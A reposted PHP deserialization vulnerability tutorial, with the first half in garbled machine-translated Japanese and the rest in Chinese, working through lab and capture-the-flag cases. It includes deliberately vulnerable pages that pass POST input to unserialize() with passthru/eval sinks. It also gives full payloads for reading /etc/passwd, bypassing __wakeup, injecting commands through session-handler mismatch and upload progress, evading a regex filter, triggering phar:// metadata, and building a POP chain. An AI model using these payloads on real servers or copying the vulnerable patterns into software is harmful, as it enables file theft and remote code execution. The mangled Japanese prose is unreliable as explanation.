逆シリアル化の脆弱性の原則のPHPで

シリアライズとデシリアライズ

IMG

シリアル化アプリケーション:オブジェクトは、ネットワーク内の送信および保管を容易

0x01のPHPのデシリアライゼーションの脆弱性

PHPアプリケーションでは、シリアライゼーションおよびデシリアライゼーションは、一般に、セッション・キャッシュ、クッキーおよび他のように、キャッシュとして使用されます。

一般的なシリアル化形式:

  • バイナリ形式
  • バイト配列
  • JSON文字列
  • XML文字列

直列化されたオブジェクトのストリームを変換することで、フォーマットは、貯蔵および輸送を容易に

シリアル化されたコントラストをデシリアライズし、ストリームオブジェクトを変換

たとえば、次のようにJSONシリアライズ、XMLシリアル化、バイナリシリアル、SOAPのシリアライズ

シリアライズとデシリアライズPHPは基本的に周りを公転するserialize()unserialize()この2つの機能を

phpのマジックメソッドの一般的なオブジェクト

__construct()   // 当一个对象创建时被调用,
__destruct()    // 当一个对象销毁时被调用,
__toString()    // 当一个对象被当作一个字符串被调用。
__wakeup()      // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()       // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct()    // 对象被销毁时触发
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__toString()    // 把类当作字符串使用时触发,返回值需要为字符串
__invoke()      // 当脚本尝试将对象调用为函数时触发

PHPシリアライズされたデータ

テストスクリプトtest.phpを

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

これは、()メソッドのシリアライズをシリアライズすることにより、オブジェクトの形式であります

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

標的配列のデータ形式で見つかったパラメータを渡すようなページは、プレゼンスデシリアライゼーション脆弱性について試験することができる場合

PHPのオブジェクトアクセスレベルのプロパティ

test.phpをテスト

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private プロパティは、シリアライズさになった後 <0x00>对象<0x00>属性名

public 変更なし

protected プロパティは、シリアライズさになった後 <0x00>*<0x00>属性名

特別進<0x00>表現は悪いバイトはNULLバイトであります

正しい姿勢の以下の試験合格値をデシリアライズ

いくつかのコードを追加した後

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

伝統的な価値観へのアクセスの最初のテスト一般的な形式

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

publicこれは通常、修正プライベート、保護されており、対象外に変更することはできませんされて

どのように我々はそれが外部から保護されるようにプロパティ値を変更することができますか?

<0x00>使用の位置%00の代わりに、

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

でも、保護されたプロパティで見つけることができ、外部から変更されます

PHPのデシリアライズデモ

ページが制御可能なインターフェイスパラメータを持っていると仮定すると、

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

テストページがポストを通じてパラメータを渡すことです、ポストは必ずしもパラメータがコーディング暗号化することができる、環境に対処されていません

合格するには O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

パラメータを変更することによって、か否かの可変パラメータを決定します

可変パラメータ

デシリアライズの悪用

脆弱性の形成条件

  1. 可変パラメータ
  2. 機能が使用できます

機能が利用されてもよいことが想定されます

test.phpをテストコード

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 读取文件函数
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

それはそこにあることが判明しfile_get_contents()たファイル読み込み機能。

悪質な構造パラメータ O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

インターフェイスは、ファイルクラスのコンストラクタのパラメータを読み取るために変更したユーザーの前に、ファイル名のみ属性FileClassは、ちょうどライン上に読み込まれるファイル名を渡します

1568375220346

現在のディレクトリで、その結果、同じパラメータ名と悪質なパラメータを渡すtest.php読み込まれ、あなたは他のファイルを読み込むしようとすることができます

読みますtest.txt

読み取ろう/etc/passwd

設定パラメータ O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02のバイパス__wakeup()

前処理の効果と同様__wakeup()、(アンシリアライズするために実行されたときにウェイクアップの有無を検出する)、__wakeup(の第一の実施の有無)

バイパス

これは、のPHPのバージョンによって引き起こされる脆弱性を回避するための方法です

バイパス__wakeup()のみ可能なパラメータの既存の数よりも多くを変更する必要があるパラメータの数を

バージョンに影響を及ぼし

PHP5 <5.6.25
PHP7 <7.0.10

5.6.40および5.5.38テスト比較

test.phpをテストページ

PHP 5.6.40のテスト版

テストシステムのLinux

IP:192.168.80.11

<?php
    // ...省略其他代码
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

入力文字列の「LS」cmdのパラメータがある場合はここで__wakeup()は、それが決定され、その後、CMDが空間に設定されています。

設定パラメータ O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

従来のバイパスより多数のパラメータを変更するパラメータの数

更新されたバージョンは、バイパスすることができないエラーが発生します

テスト用の仮想マシンを交換してください

test.phpをテストページ

PHP 5.5.38のテスト版

Windows 7のテストシステム

IP:192.168.80.128

テストページphp_unser.php

<?php   
    // ...其余都一样
        function __wakeup(){
            # 因为win7没有ls命令,所以这里来限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法输入";
            }
        }
?>

設定パラメータ O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

__wakeupであることが判明()フィルタ

パラメータの数は、バイパス変更するには O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

バイパスすることができますテスト済み

0x03のセッションは、デシリアライズ

PHPのセッションの内容がメモリに保存されていない、ファイル形式があります。ストレージは、デフォルトのファイルが格納されている、構成アイテムのsession.save_handlerによって決定されるべきです。ファイルが保存されているsess_sessionidファイルの内容は、セッション値をシリアライズされた後に命名する内容を。

ストレージ

  • php_binary ストレージは、ASCIIはシリアライズ()関数は、プロセス値のシーケンスである+ +た後、キーに対応する文字キーの長さ
  • php 一連の処理の+ +垂直にserialize()関数の値後の保管、キーの名前
  • php_serialize(php>5.5.4) ストレージ、シリアライズ()関数後の値は、プロセスのシーケンスであります

フォーマッティング

ini_set('session.serialize_handler', '需要设置的引擎');

デフォルトのセッションストレージにより、phpストレージ

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session内容    name|s:5:"admin";

php_serializeエンジン

ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容    a:1:{s:4:"name";s:5:"admin";}

php_binaryエンジン

ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容    

ディスプレイの4文字のASCII値を印刷することができません

原則脆弱性

セッション不適切な使用、及びそのようなエンジンとして直列化デシリアライズPHPのリザーバのために使用されるエンジンの使用が同じでない場合、それは脆弱性を形成することになります。

脆弱性の再現

テストphpエンジンとphp_serializeハイブリッドエンジンは、脆弱性を上昇させます

テストページ1 target1.php- > php_serializeエンジン

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["name"]=$_GET["name"];

    if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
        echo "欢迎来到第一个页面,Session已保存!";
    }
?>

テストページ2 target2.php- > phpエンジン

<?php 
    ini_set('session.serialize_handler','php');
    session_start();
    // 开启session之后 无需调用会自动加载
    class Admin
    {
        var $name;
        function __construct()
        {
            $this->name = "default";
        }
        function __destruct(){
            // 执行命令
            passthru($this->name);
        }
    }
?>

target1.php名前の通過admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

その後、訪問target2.php前に渡されたパラメータを、あなたは見つけるでしょうcat /etc/passwd、コマンドが実行されます

何が起こっていますか?

脆弱性のトリガープロセス

まず、訪問しtarget1.phpたパラメータを渡すと、name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

target1.phpページはあるphp_serializeに内容を保存した後、セッションを保存するためのエンジンなので、セッションa:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

次にアクセスしたときにtarget2.php、ページが第二使用するphpことによって、セッションを解析するためにエンジンを|分割された抽出された文字列に対応する値。

セッション値

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解した後、a:1:{s:4:"name";s:48:"adminセッションを使用したキーの
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}に解決された値

セッション自体は、直列化とストレージのデシリアライズであります

セッションによってO:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}、デシリアライゼーション

これは、生成しAdminたオブジェクトと属性値cat /etc/passwdの名前のを

破壊魔法のメソッドオブジェクトを通じて__destruct()コマンド悪質な実行を形成することになります

CTF戦闘タイトル

为了符合题意需要将 php.ini中的 serialize_handler 修改一下

题目测试页面 test3.php

<?php 
//A webshell is wait for you 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class OowoO 
{ 
    public $mdzz; 
    function __construct() 
    { 
        $this->mdzz = 'phpinfo();'; 
    } 
     
    function __destruct() 
    { 
        eval($this->mdzz); 
    } 
} 
if(isset($_GET['phpinfo'])) 
{ 
    $m = new OowoO(); 
} 
else 
{ 
    highlight_string(file_get_contents('test3.php')); 
} 
?>

访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面将的漏洞环境

通过源码可以看出并没有可以传入参数的地方

不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的

Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值

构造一个post表单

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit">
</form>

上传一个文件,抓包分析

修改 filename 的值为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后储存

后输出页面被 php引擎解析触发反序列化漏洞

构造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍历 /tmp/ 内的所有文件

1568554719518

0x04 反序列化绕过正则

测试页面源码 test4.php

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>

首先访问 <http://192.168.80.11/test4.php>

通过源码可以看出存在一个反序列化漏洞

根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches); 对序列化字符串做了限制导致触发防御

接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并没有什么变化的原因是,在url中 + 号会被解释为空格,所以需要将 + url编码后加入

尝试访问 flag.php

绕过正则表达式

实战中需根据正则表达式规则来进行绕过

0x05 phar反序列化

phar伪协议触发php反序列化

phar://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

案例演示

假设已知页面 test5.php

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "nice"';
        function __destruct(){
            eval($this->output);
        }
    }
        var_dump(file_exists($filename));
        file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}

接下来根据源码中的类来构造一个phar文件

创建一个 phar.php

<?php
class MyClass{
    var $output='phpinfo();';
    function __destruct(){
        eval($this->output);
    }
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");    // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>

通过访问或者 php 编译去生成 phar文件

注意:必须要在php.ini中设置 phar.readonly = Off 不然无法生存phar文件

通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应

可以通过上传文件等方式将phar文件放到服务器上

先通过正常url http://192.168.80.11/test5.php?filename=index.php 访问

找到phar文件的路径

利用 phar:// 协议来访问

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的

0x06 POP链构造

测试页面 pop.php

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
        }
}
$a = $_GET['string'];
unserialize($a);
?>

解题思路:

  1. 首先发现找到flag,发现flag需要通过GetFlag类中get_flag()函数输出,然后可以看到string1类中的__toString()方法可以直接调用get_flag()方法,而str1需要赋值为GetFlag
  2. 見つかったクラスfunc現在で__invoke文字列連結を行う方法は、必要func自動用いた関数呼び出しと__invoke、その後$mod1に割り当てられたstring1オブジェクトおよび$mod2スプライス。
  3. functfind関数の呼び出しをする必要があるmod1ために割り当てられたfuncオブジェクトクラス、および関数呼び出しのため__callの方法、およびパラメータを$test2呼び出すことができないtest2ときに自動的にメソッドと呼ばれる__call方法。
  4. ではメソッドの存在は、我々はする必要がありますに割り当てられたように、オブジェクトに自動的に呼び出されます。Calltest1$this->mod1->test2();$mod1funct__call
  5. 検索test1では、ポイントメソッドを呼び出しstart_gg$this->mod1->test1();$mod1割り当てstart_ggを待って、オブジェクトクラス__destruct()自動コール。

ポップチェーンによって構成され、出力ペイロード

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1赋值为Call类对象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1赋值为funct类对象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1赋值为func类对象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }
        public function __invoke()
        {        
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);

出力ペイロードを実行した後 O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

パラメータ送信要求フラグ出力にペイロード

おすすめ

転載: www.cnblogs.com/r0ckysec/p/11545962.html